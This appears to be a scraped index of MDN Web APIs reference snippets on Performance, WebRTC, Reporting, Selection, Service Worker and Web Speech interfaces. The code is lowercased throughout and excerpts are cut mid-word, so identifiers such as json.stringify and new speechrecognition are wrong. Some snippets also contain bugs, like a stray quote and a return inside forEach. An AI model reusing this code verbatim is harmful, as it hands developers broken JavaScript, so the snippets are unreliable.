specifications specification status comment web cryptography apithe definition of 'subtlecrypto.pbkdf2params' in that specification.
Performance.timeOrigin - Web APIs
specifications specification status high resolution time level 2the definition of 'timeorigin' in that specification.
Performance.timing - Web APIs
syntax timinginfo = performance.timing; specifications specification status comment navigation timing level 2 working draft initial definition.
performance.toJSON() - Web APIs
example var js; js = window.performance.tojson(); console.log("json = " + json.stringify(js)); specifications specification status comment high resolution time level 2the definition of 'tojson() serializer' in that specification.
PerformanceResourceTiming.toJSON() - Web APIs
example // get a resource performance entry var perfentries = performance.getentriesbytype("resource"); var entry = perfentries[0]; // get the json and log it var json = entry.tojson(); var s = json.stringify(json); console.log("performanceentry.tojson = " + s); specifications specification status comment resource timing level 2the definition of 'tojson' in that specification.
Using the Performance API - Web APIs
a fundamental requirement of web performance is a precise and consistent definition of time.
Performance API - Web APIs
specifications specification status comment high resolution time recommendation initial definition.
Performance Timeline - Web APIs
the methods are: getentries() returns all recorded performance entries or, optionally, the entries based on the specified name, performance type and/or the initiatortype (such as an html element).
PeriodicWave.PeriodicWave() - Web APIs
example var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var options = { real : real, imag : imag, disablenormalization : false } var wave = new periodicwave(ac, options); specifications specification status comment web audio apithe definition of 'periodicwave' in that specification.
Using the Permissions API - Web APIs
historically, different apis handle their own permissions inconsistently — for example the notifications api allows for explicit checking of permission status and requesting permission, whereas the geolocation api doesn't (which causes problems if the user denied the initial permission request, as we'll see below).
PointerEvent.tangentialPressure - Web APIs
own', function(event) { if (event.tangentialpressure == 0) { // no pressure process_no_tanpressure(event); } else if (event.tangentialpressure == 1) { // maximum pressure process_max_tanpressure(event); } else { // default process_tanpressure(event); } }, false); specifications specification status comment pointer events – level 2the definition of 'tangentialpressure' in that specification.
PointerEvent.twist - Web APIs
someelement.addeventlistener('pointerdown', function(event) { if (event.twist == 0) { // no twist process_no_twist(event); } else { // default process_twist(event); } }, false); specifications specification status comment pointer events – level 2the definition of 'twist' in that specification.
ProcessingInstruction - Web APIs
,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">processinginstruction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties target (domstring) read only a name identifying the application to which the instruction is targeted, specification specification status comment domthe definition of 'processinginstruction' in that specification.
ProgressEvent() - Web APIs
specifications specification status comment xmlhttprequestthe definition of 'progressevent()' in that specification.
ProgressEvent.lengthComputable - Web APIs
syntax flag = progressevent.lengthcomputable specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
ProgressEvent.loaded - Web APIs
syntax value = progressevent.loaded specifications specification status comment xmlhttprequestthe definition of 'progressevent.loaded' in that specification.
ProgressEvent.total - Web APIs
syntax value = progressevent.total specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
PushSubscription.getKey() - Web APIs
subbtn.disabled = false; if (!subscription) { console.log('not yet subscribed to push') // we aren't subscribed to push, so set ui // to allow the user to enable push return; } // set your ui to show they have subscribed for // push messages subbtn.textcontent = 'unsubscribe from push messaging'; ispushenabled = true; // initialize status, which includes setting ui elements for subscribed status // and updating subscribers list via push var endpoint = subscription.endpoint; var key = subscription.getkey('p256dh'); var auth = subscription.getkey('auth'); ...
PushSubscription.subscriptionId - Web APIs
syntax var subid = pushsubscription.subscriptionid; specifications specification status comment push api working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
PushSubscription.toJSON() - Web APIs
example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { var mysubscription = subscription.tojson(); // do something with subscription details }) }); specifications specification status comment push apithe definition of 'pushsubscription: tojson' in that specification.
Push API - Web APIs
WebAPIPush API
specifications specification status comment push api working draft initial definition ...
RTCCertificate - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsers candidate recommendation initial definition.
RTCDTMFSender.insertDTMF() - Web APIs
example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmfsender.insertdtmf()' in that specification.
RTCDTMFSender.ontonechange - Web APIs
example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'ontonechange' in that specification.
RTCDTMFSender.toneBuffer - Web APIs
example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmfsender.tonebuffer' in that specification.
RTCDTMFSender - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmfsender' in that specification.
RTCDataChannel: bufferedamountlow event - Web APIs
you can also set up a listener for bufferedamountlow using its event handler property, onbufferedamountlow: pc.onbufferedamountlow = ev => { if (source.position <= source.length) { dc.send(source.readfile(65536)); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'bufferedamountlow' in that specification.
RTCDataChannel: message event - Web APIs
nmessage event handler property to set the event handler: dc.onmessage = ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'the <code>message</code> event' in that specification.
RTCIceCandidateStats.networkType - Web APIs
note: keep in mind that the specified value only reflects the initial connection between the local peer and the next hop along the network toward reaching the remote peer.
RTCIceTransport: gatheringstatechange event - Web APIs
sender.transport.icetransport.ongatheringstatechange = ev => { let transport = ev.target; if (transport.gatheringstate === "complete") { /* this transport has finished gathering candidates, but others may still be working on it */ } }; }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'gatheringstatechange' in that specification.
RTCIceTransport: selectedcandidatepairchange event - Web APIs
ementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = ev => { let pair = icetransport.getselectedcandidatepair(); localprotoelem.innertext = pair.local.protocol.touppercase(); remoteprotoelem.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'selectedcandidatepairchange' in that specification.
RTCIceTransport: statechange event - Web APIs
} }, false); the same code, using the onstatechange event handler property, looks like this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'statechange' in that specification.
RTCIdentityAssertion - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsers candidate recommendation initial definition.
RTCPeerConnection.getTransceivers() - Web APIs
pc.gettransceivers().foreach(transceiver => { transceiver.stop(); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.gettransceivers()' in that specification.
RTCPeerConnection: icecandidate event - Web APIs
andidate: event.candidate }); } }, false); you can also set the onicecandidate event handler property directly: pc.onicecandidate = ev => { if (ev.candidate) { sendmessage({ type: "new-ice-candidate", candidate: event.candidate }); } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'icecandidate' in that specification.
RTCPeerConnection: identityresult event - Web APIs
bubbles no cancelable no interface rtcidentityevent event handler property onidentityresult specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'identityresult' in that specification.
RTCPeerConnection: idpassertionerror event - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpassertionerror' in that specification.
RTCPeerConnection: idpvalidationerror event - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpvalidationerror' in that specification.
RTCPeerConnection.peerIdentity - Web APIs
*/ async function getidentityassertion(pc) { try { const identity = await pc.peeridentity; return identity; } catch(err) { console.log("error identifying remote peer: ", err); return null; } } specifications specification status comment identity for webrtc candidate recommendation initial specification.
RTCPeerConnection: peeridentity event - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'peeridentity' in that specification.
RTCPeerConnection.setIdentityProvider() - Web APIs
example var pc = new peerconnection(); pc.setidentityassertion("developer.mozilla.org"); specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.setidentityprovider()' in that specification.
RTCPeerConnection: signalingstatechange event - Web APIs
tatus("ice negotiation complete"); break; } }, false); using onsignalingstatechange, it looks like this: pc.onsignalingstatechange = ev => { switch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'signalingstatechange' in that specification.
RTCRtpCapabilities - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcapabilities' in that specification.
RTCRtpCodecCapability - Web APIs
examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcodeccapability' in that specification.
RTCRtpReceiver.getCapabilities() static function - Web APIs
function canreceiveh264() { let capabilities = rtcrtpreceiver.getcapabilities("video"); capabilities.codecs.foreach((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getcapabilities()' in that specification.
RTCRtpReceiver.transport - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.transport' in that specification.
RTCRtpSender.dtmf - Web APIs
WebAPIRTCRtpSenderdtmf
only audio tracks can support dtmf, and typically only one audio track per rtcpeerconnection will have an associated rtcdtmfsender example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.dtmf' in that specification.
RTCRtpSender.getCapabilities() static function - Web APIs
function cansendh264() { let capabilities = rtcrtpsender.getcapabilities("video"); capabilities.codecs.foreach((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.getcapabilities()' in that specification.
RTCRtpSender.replaceTrack() - Web APIs
ender = pc.getsenders().find(function(s) { return s.track.kind == videotrack.kind; }); console.log('found sender:', sender); sender.replacetrack(videotrack); }); }) .catch(function(err) { console.error('error happens:', err); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.replacetrack()' in that specification.
RTCRtpSender.setStreams() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.setstreams()' in that specification.
RTCRtpSender.transport - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.transport' in that specification.
RTCRtpSender - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender' in that specification.
RTCRtpTransceiver.currentDirection - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.currentdirection' in that specification.
RTCRtpTransceiver.direction - Web APIs
for example, if the direction is specified as "sendrecv", the corresponding sdp a-line is: a=sendrecv specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.direction' in that specification.
RTCRtpTransceiver.mid - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.mid' in that specification.
RTCRtpTransceiver.receiver - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.receiver' in that specification.
RTCRtpTransceiver.sender - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.sender' in that specification.
RTCRtpTransceiver.setCodecPreferences() - Web APIs
var availsendcodecs = transceiver.sender.getcapabilities("video").codecs; var availreceivecodecs = transceiver.receiver.getcapabilities("video").codecs; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.setcodecpreferences()' in that specification.
RTCRtpTransceiver.stop() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.stop()' in that specification.
RTCRtpTransceiver.stopped - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.stopped' in that specification.
RTCRtpTransceiver - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver' in that specification.
RTCRtpTransceiverDirection - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiverdirection' in that specification.
Report.body - Web APIs
WebAPIReportbody
a deprecationreportbody object console.log(firstreport.body); }, options); specifications specification status comment reporting apithe definition of 'report.body' in that specification.
Report.type - Web APIs
WebAPIReporttype
"deprecation" console.log(firstreport.type); }, options); specifications specification status comment reporting apithe definition of 'report.body' in that specification.
Report.url - Web APIs
WebAPIReporturl
"https://www.example.com/cats.html" console.log(firstreport.url); }, options); specifications specification status comment reporting apithe definition of 'report.url' in that specification.
Report - Web APIs
WebAPIReport
specifications specification status comment reporting apithe definition of 'report' in that specification.
ReportingObserver() - Web APIs
examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); specifications specification status comment reporting apithe definition of 'reportingobserver()' in that specification.
ReportingObserver.disconnect() - Web APIs
observer.disconnect() specifications specification status comment reporting apithe definition of 'reportingobserver.disconnect()' in that specification.
ReportingObserver.observe() - Web APIs
syntax reportingobserverinstance.observe() examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() specifications specification status comment reporting apithe definition of 'reportingobserver.observe()' in that specification.
ReportingObserver.takeRecords() - Web APIs
let records = observer.takerecords(); console.log(records); specifications specification status comment reporting apithe definition of 'reportingobserver.takerecords()' in that specification.
ReportingObserverOptions - Web APIs
examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); specifications specification status comment reporting apithe definition of 'reportingobserveroptions' in that specification.
Resize Observer API - Web APIs
tboxsize.blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.contentrect.width/10) + (entry.contentrect.height/10)) + 'px'; } } }); resizeobserver.observe(document.queryselector('div')); specifications specification status comment resize observer editor's draft initial definition.
Response.error() - Web APIs
WebAPIResponseerror
specifications specification status comment fetchthe definition of 'error()' in that specification.
Response.redirect() - Web APIs
WebAPIResponseredirect
example responseobj.redirect('https://www.example.com', 302); specifications specification status comment fetchthe definition of 'redirect()' in that specification.
RsaHashedImportParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsahashedimportparams' in that specification.
RsaHashedKeyGenParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsahashedkeygenparams' in that specification.
RsaOaepParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsaoaepparams' in that specification.
RsaPssParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsapssparams' in that specification.
SVGAElement.target - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'target' in that specification.
SVGAElement - Web APIs
status comment scalable vector graphics (svg) 2 candidate recommendation replaced inheritance from svgelement by svggraphicselement and removed the interface implementations of svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by htmlhyperlinkelementutils scalable vector graphics (svg) 1.1 (second edition) recommendation initial definition ...
format - Web APIs
truetype truetype .ttf opentype opentype, including truetype open .ttf truetype-gx truetype with gx extensions - speedo speedo - intellifont intellifont - example myglyph.format = "truedoc-pfr"; specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'format' in that specification.
SVGAltGlyphElement.glyphRef - Web APIs
example myglyph.glypref = "#glyphid"; specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyphref' in that specification.
SVGElement: zoom event - Web APIs
the zoom event occurs when the user initiates an action which causes the current view of the svg document fragment to be rescaled.
The 'X' property - Web APIs
usage context name x value <length> | <percentage> initial 0 applies to <mask> , ‘svg’, ‘rect’, ‘image’, ‘foreignobject’ inherited no percentages refer to the size of the current viewport (see units) media visual computed value absolute length or percentage animatable yes simple usage a <coordinate> is a length in the user coordinate system that is the given distance from the origin of the user coordinate system along the relevant axis (the x-axis for x coordinates, the y-axis for y coordinates).
Screen.colorDepth - Web APIs
WebAPIScreencolorDepth
syntax bitdepth = window.screen.colordepth; example // check the color depth of the screen if ( window.screen.colordepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom) view modulethe definition of 'screen.colordepth' in that specification.
Screen.height - Web APIs
WebAPIScreenheight
specification specification status comment css object model (cssom) view modulethe definition of 'screen.height' in that specification.
Using the Screen Capture API - Web APIs
capturing screen contents capturing screen contents as a live mediastream is initiated by calling navigator.mediadevices.getdisplaymedia(), which returns a promise that resolves to a stream containing the live screen contents.
Screen Capture API - Web APIs
specifications specification status comment screen capture working draft initial definition ...
Screen Orientation API - Web APIs
interfaces screenorientation specifications specification status comment screen orientation api working draft initial definition.
Screen Wake Lock API - Web APIs
specifications specification status comment screen wake lock api unknown initial definition.
ScriptProcessorNode: audioprocess event - Web APIs
} specifications specification status comment web audio apithe definition of 'audioprocessingevent' in that specification.
ScriptProcessorNode.bufferSize - Web APIs
tton playbutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } specifications specification status comment web audio apithe definition of 'buffersize' in that specification.
ScriptProcessorNode.onaudioprocess - Web APIs
laybutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } specifications specification status comment web audio apithe definition of 'onaudioprocess' in that specification.
ScriptProcessorNode - Web APIs
tton playbutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } specifications specification status comment web audio apithe definition of 'scriptprocessornode' in that specification.
ScrollToOptions.behavior - Web APIs
'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'behavior' in that specification.
ScrollToOptions.left - Web APIs
'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'left' in that specification.
ScrollToOptions.top - Web APIs
'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'top' in that specification.
ScrollToOptions - Web APIs
'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'scrolltooptions' in that specification.
Selection.addRange() - Web APIs
election(); let strongs = document.getelementsbytagname('strong'); if (selection.rangecount > 0) { selection.removeallranges(); } for (let i = 0; i < strongs.length; i++) { let range = document.createrange(); range.selectnode(strongs[i]); selection.addrange(range); } }); result specifications specification status comment selection apithe definition of 'selection.addrange()' in that specification.
Selection.anchorNode - Web APIs
syntax node = sel.anchornode specifications specification status comment selection apithe definition of 'selection.anchornode' in that specification.
Selection.anchorOffset - Web APIs
syntax number = sel.anchoroffset specifications specification status comment selection apithe definition of 'selection.anchoroffset' in that specification.
Selection.collapse() - Web APIs
*/ var body = document.getelementsbytagname("body")[0]; window.getselection().collapse(body,0); specifications specification status comment selection apithe definition of 'selection.collapse()' in that specification.
Selection.collapseToEnd() - Web APIs
specifications specification status comment selection apithe definition of 'selection.collapsetoend()' in that specification.
Selection.collapseToStart() - Web APIs
specifications specification status comment selection apithe definition of 'selection.collapsetostart()' in that specification.
Selection.containsNode() - Web APIs
cument.getelementbyid('secret'); const win = document.getelementbyid('win'); // listen for selection changes document.addeventlistener('selectionchange', () => { const selection = window.getselection(); const found = selection.containsnode(secret); win.toggleattribute('hidden', !found); }); result specifications specification status comment selection apithe definition of 'selection.containsnode()' in that specification.
Selection.deleteFromDocument() - Web APIs
d content by clicking the button below.</p> <button>delete selected text</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', deleteselection); function deleteselection() { let selection = window.getselection(); selection.deletefromdocument(); } result specifications specification status comment selection apithe definition of 'selection.deletefromdocument()' in that specification.
Selection.extend() - Web APIs
WebAPISelectionextend
specifications specification status comment selection apithe definition of 'selection.extend()' in that specification.
Selection.focusNode - Web APIs
syntax node = sel.focusnode specifications specification status comment selection apithe definition of 'selection.focusnode' in that specification.
Selection.focusOffset - Web APIs
syntax offset = sel.focusoffset specifications specification status comment selection apithe definition of 'selection.focusoffset' in that specification.
Selection.getRangeAt() - Web APIs
example let ranges = []; sel = window.getselection(); for(let i = 0; i < sel.rangecount; i++) { ranges[i] = sel.getrangeat(i); } /* each item in the ranges array is now * a range object representing one of the * ranges in the current selection */ specifications specification status comment selection apithe definition of 'selection: getrangeat()' in that specification.
Selection.isCollapsed - Web APIs
syntax bool = sel.iscollapsed specifications specification status comment selection apithe definition of 'selection.iscollapsed' in that specification.
Selection.rangeCount - Web APIs
specifications specification status comment selection apithe definition of 'selection.rangecount' in that specification.
Selection.removeAllRanges() - Web APIs
specifications specification status comment selection apithe definition of 'selection.removeallranges()' in that specification.
Selection.removeRange() - Web APIs
*/ s = window.getselection(); if(s.rangecount > 1) { for(var i = 1; i < s.rangecount; i++) { s.removerange(s.getrangeat(i)); } } specifications specification status comment selection apithe definition of 'selection.removerange()' in that specification.
Selection.setBaseAndExtent() - Web APIs
note: you can find this example on github (see it live also.) specifications specification status comment selection apithe definition of 'selection.setbaseandextent()' in that specification.
Selection.toString() - Web APIs
specifications specification status comment selection apithe definition of 'selection: tostring()' in that specification.
Selection.type - Web APIs
WebAPISelectiontype
var selection; document.onselectionchange = function() { console.log('new selection made'); selection = document.getselection(); console.log(selection.type); }; specifications specification status comment selection apithe definition of 'selection.type' in that specification.
Server-sent events - Web APIs
examples simple sse demo using php specification specification status comment html living standardthe definition of 'server-sent events' in that specification.
ServiceWorkerContainer: message event - Web APIs
}); }); the client can receive the message by listening to the message event: // in the page being controlled navigator.serviceworker.addeventlistener('message', (message) => { console.log(message); }); specifications specification status service workersthe definition of 'message' in that specification.
ServiceWorkerGlobalScope: activate event - Web APIs
}; specifications specification status comment service workersthe definition of 'activate' in that specification.
ServiceWorkerGlobalScope: install event - Web APIs
}; specifications specification status comment service workersthe definition of 'install' in that specification.
ServiceWorkerGlobalScope: message event - Web APIs
worker"); }); } the service worker can receive the message by listening to the message event: // in the service worker addeventlistener('message', event => { // event is an extendablemessageevent object console.log(`the client sent me a message: ${event.data}`); event.source.postmessage("hi client"); }); specifications specification status service workersthe definition of 'message' in that specification.
ServiceWorkerGlobalScope: notificationclick event - Web APIs
ts.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status notifications apithe definition of 'onnotificationclick' in that specification.
ServiceWorkerRegistration.sync - Web APIs
specifications specification status comment web background synchronization living standard initial definition.
Service Worker API - Web APIs
specifications specification status comment service workers working draft initial definition.
ShadowRoot.host - Web APIs
WebAPIShadowRoothost
// return the original host element some time later let hostelem = shadow.host; specifications specification status comment domthe definition of 'shadowroot.host' in that specification.
ShadowRoot.mode - Web APIs
WebAPIShadowRootmode
shadow.mode = 'closed'; } specifications specification status comment domthe definition of 'shadowroot.mode' in that specification.
SharedWorker() - Web APIs
myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.textcontent = e.data; console.log('message received from worker'); } for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html living standardthe definition of 'sharedworker()' in that specification.
SharedWorker.port - Web APIs
WebAPISharedWorkerport
ts can then access the worker through a messageport object accessed using the sharedworker.port property — the port is started using its start() method: var myworker = new sharedworker('worker.js'); myworker.port.start(); for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification.
SharedWorker - Web APIs
} specifications specification status comment html living standardthe definition of 'sharedworker' in that specification.
SharedWorkerGlobalScope.close() - Web APIs
specifications specification status comment html living standardthe definition of 'close()' in that specification.
SharedWorkerGlobalScope: connect event - Web APIs
listener equivalent you could also set up an event handler using the addeventlistener() method: self.addeventlistener('connect', function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } }); specifications specification status html living standardthe definition of 'connect event' in that specification.
SharedWorkerGlobalScope.name - Web APIs
specifications specification status comment html living standardthe definition of 'name' in that specification.
SharedWorkerGlobalScope - Web APIs
specifications specification status comment html living standardthe definition of 'sharedworkerglobalscope' in that specification.
SourceBuffer.trackDefaults - Web APIs
the trackdefaults property of the sourcebuffer interface specifies the default values to use if kind, label, and/or language information is not available in the initialization segment of the media to be appended to the sourcebuffer.
SpeechGrammar.SpeechGrammar() - Web APIs
hrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var newgrammar = new speechgrammar(); newgrammar.src = '#jsgf v1.0; grammar names; public <name> = chris | kirsty | mike;' speechrecognitionlist[1] = newgrammar; // should add the new speechgrammar object to the list specifications specification status comment web speech apithe definition of 'speechgrammar()' in that specification.
SpeechGrammar.src - Web APIs
WebAPISpeechGrammarsrc
specifications specification status comment web speech apithe definition of 'src' in that specification.
SpeechGrammar.weight - Web APIs
specifications specification status comment web speech apithe definition of 'weight' in that specification.
SpeechGrammar - Web APIs
specifications specification status comment web speech apithe definition of 'speechgrammar' in that specification.
SpeechGrammarList.SpeechGrammarList() - Web APIs
ple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist' in that specification.
SpeechGrammarList.addFromString() - Web APIs
ple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'addfromstring()' in that specification.
SpeechGrammarList.addFromURI() - Web APIs
specifications specification status comment web speech apithe definition of 'addfromuri()' in that specification.
SpeechGrammarList.item() - Web APIs
specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechGrammarList.length - Web APIs
specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechGrammarList - Web APIs
ple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist()' in that specification.
SpeechRecognition() - Web APIs
specifications specification status comment web speech apithe definition of 'speechrecognition()' in that specification.
SpeechRecognition.abort() - Web APIs
function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'abort()' in that specification.
SpeechRecognition: audioend event - Web APIs
hod: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audioend', function() { console.log('audio capturing ended'); }); or use the onaudioend event handler property: recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: audiostart event - Web APIs
recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audiostart', function() { console.log('audio capturing started'); }); or use the onaudiostart event handler property: recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.continuous - Web APIs
specifications specification status comment web speech apithe definition of 'continuous' in that specification.
SpeechRecognition: end event - Web APIs
= new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('end', function() { console.log('speech recognition service disconnected'); }); or use the onend event handler property: recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: error event - Web APIs
w speechrecognition(); recognition.addeventlistener('error', function(event) { console.log('speech recognition error detected: ' + event.error'); }); or use the onerror event handler property: recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.grammars - Web APIs
specifications specification status comment web speech apithe definition of 'grammars' in that specification.
SpeechRecognition.interimResults - Web APIs
specifications specification status comment web speech apithe definition of 'interimresults' in that specification.
SpeechRecognition.lang - Web APIs
specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechRecognition.maxAlternatives - Web APIs
specifications specification status comment web speech apithe definition of 'maxalternatives' in that specification.
SpeechRecognition: nomatch event - Web APIs
method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('nomatch', function() { console.log('speech not recognized'); }); or use the onnomatch event handler property: recognition.onnomatch = function() { console.log('speech not recognized'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.onaudioend - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'onaudioend' in that specification.
SpeechRecognition.onaudiostart - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'onaudiostart' in that specification.
SpeechRecognition.onend - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'onend' in that specification.
